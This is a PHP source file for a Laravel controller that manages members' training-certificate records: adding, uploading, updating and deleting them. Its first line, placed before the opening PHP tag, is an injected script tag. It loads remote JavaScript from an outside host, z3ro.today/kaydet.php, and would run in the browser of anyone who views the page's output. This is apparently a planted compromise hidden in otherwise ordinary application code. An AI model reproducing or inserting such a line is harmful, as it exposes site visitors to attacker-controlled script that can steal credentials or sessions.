<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\MemberInformation;

use App\Http\Controllers\Controller;
use App\Models\Degree;
use App\Models\Members;
use Illuminate\Http\Request;

class DegreeController extends Controller
{
    // this is actually about members training details. NOT A ACADEMIC DEGREE.
    public function adddegree()
    {

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.adddegree', compact('memberInfo'));
    }

    public function uploaddegree(Request $request)
    {
        $name = auth()->user()->name;

        // storing training certificate
        if ($request->hasFile('certificate')) {
            $documents = $request->file('certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-training-certificate-' . RandomNum(4) . '-' . $name . '-' . time() . '.' . $docsExt;

            $training_certificate = $documents->storeAs('training-certificate', $docsName, ['disk' => 'public']);
        } else {
            $training_certificate = 0;
        }

        $data = new Degree();

        $data->member_id = session('member_id');
        $data->training = $request->training;
        $data->year = $request->year;
        $data->institution = $request->institution;
        $data->level = $request->level;
        $data->remarks = $request->remarks;
        $data->certificate = $training_certificate;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('message', 'Degree updated successfully');
    }

    public function deletedegree($id)
    {
        $qualificationName = Degree::find($id);
        $qualificationName->delete();
        return redirect()->back()->with('message', 'Personal degree data deleted successfully');
    }

    public function updatedegreeview($id)
    {
        $training = Degree::find($id);

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.updatedegree', compact('memberInfo', 'training'));
    }

    public function updatedegree(Request $request, $id)
    {
        $data = Degree::find($id);
        $name = auth()->user()->name;

        // storing training certificate
        if ($request->hasFile('certificate')) {
            $documents = $request->file('certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-training-certificate-' . RandomNum(4) . '-' . $name . '-' . time() . '.' . $docsExt;

            $training_certificate = $documents->storeAs('training-certificate', $docsName, ['disk' => 'public']);
        } else {
            $training_certificate = $data->certificate;
        }

        $data->member_id = session('member_id');
        $data->training = $request->training;
        $data->year = $request->year;
        $data->institution = $request->institution;
        $data->level = $request->level;
        $data->remarks = $request->remarks;
        $data->certificate = $training_certificate;
        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('message', 'Degree updated successfully');
    }
}
